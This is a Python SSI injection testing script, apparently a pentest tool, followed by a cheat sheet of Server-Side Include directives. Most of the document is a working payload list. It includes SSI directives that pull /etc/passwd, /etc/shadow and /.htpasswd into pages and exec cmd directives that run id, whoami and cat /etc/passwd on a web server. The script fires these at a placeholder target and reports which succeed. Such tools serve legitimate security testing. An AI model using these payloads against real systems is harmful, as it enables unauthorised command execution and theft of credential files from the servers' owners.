"""
SSI Injection Vulnerability Tester
"""
import requests
from urllib.parse import quote
class SSIInjectionTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
SSI_PAYLOADS = {
'detection': [
'<!--#echo var="DATE_LOCAL" -->',
'<!--#echo var="DOCUMENT_NAME" -->',
'<!--#echo var="SERVER_SOFTWARE" -->',
'<!--#printenv -->',
],
'file_inclusion': [
'<!--#include virtual="/etc/passwd" -->',
'<!--#include file="/etc/passwd" -->',
'<!--#include virtual="/.htpasswd" -->',
'<!--#include virtual="/etc/shadow" -->',
],
'command_execution': [
'<!--#exec cmd="id" -->',
'<!--#exec cmd="whoami" -->',
'<!--#exec cmd="cat /etc/passwd" -->',
'<!--#exec cgi="/cgi-bin/script.cgi" -->',
],
'config': [
'<!--#config timefmt="%Y" -->',
'<!--#config errmsg="SSI_TEST" -->',
],
}
def test_ssi_detection(self, param='input'):
"""Test if SSI is processed"""
print("\n[*] Testing SSI detection...")
for payload in self.SSI_PAYLOADS['detection']:
try:
response = self.session.get(
self.url,
params={param: payload}
)
indicators = [
'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun',
'Apache', 'nginx', 'IIS',
'DOCUMENT_ROOT', 'SERVER_NAME',
]
for indicator in indicators:
if indicator in response.text and payload not in response.text:
print(f"[VULN] SSI is being processed!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSI Processing Detected',
'payload': payload,
'severity': 'High'
})
return True
if payload in response.text:
print(f"[INFO] SSI payload reflected but not processed")
except Exception as e:
pass
return False
def test_file_inclusion(self, param='input'):
"""Test SSI file inclusion"""
print("\n[*] Testing SSI file inclusion...")
for payload in self.SSI_PAYLOADS['file_inclusion']:
try:
response = self.session.get(
self.url,
params={param: payload}
)
if 'root:' in response.text:
print(f"[VULN] SSI File Inclusion!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSI File Inclusion',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def test_command_execution(self, param='input'):
"""Test SSI command execution"""
print("\n[*] Testing SSI command execution...")
for payload in self.SSI_PAYLOADS['command_execution']:
try:
response = self.session.get(
self.url,
params={param: payload}
)
if 'uid=' in response.text or 'gid=' in response.text:
print(f"[VULN] SSI Command Execution!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSI Command Execution',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("SSI INJECTION REPORT")
print("="*60)
if not self.findings:
print("\nNo SSI injection vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
print(f" Payload: {f['payload']}")
def run_tests(self, param='input'):
"""Run all SSI tests"""
self.test_ssi_detection(param)
self.test_file_inclusion(param)
self.test_command_execution(param)
self.generate_report()
tester = SSIInjectionTester("https://target.com/page.shtml")
tester.run_tests()
# SSI Directives
# Echo - Display variables
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#echo var="LAST_MODIFIED" -->
<!--#echo var="SERVER_SOFTWARE" -->
# Include - Include files
<!--#include virtual="/header.html" -->
<!--#include file="footer.html" -->
# Exec - Execute commands/CGI
<!--#exec cmd="ls -la" -->
<!--#exec cgi="/cgi-bin/counter.cgi" -->
# Config - Configure SSI behavior
<!--#config timefmt="%A %B %d, %Y" -->
<!--#config sizefmt="bytes" -->
<!--#config errmsg="Error occurred" -->
# Printenv - Print environment
<!--#printenv -->
# Set - Set variables
<!--#set var="name" value="John" -->
# If/Elif/Else - Conditionals
<!--#if expr="${QUERY_STRING} = 'admin'" -->
Admin content
<!--#endif -->
# Flastmod - File last modified
<!--#flastmod virtual="/file.html" -->
# Fsize - File size
<!--#fsize file="document.pdf" -->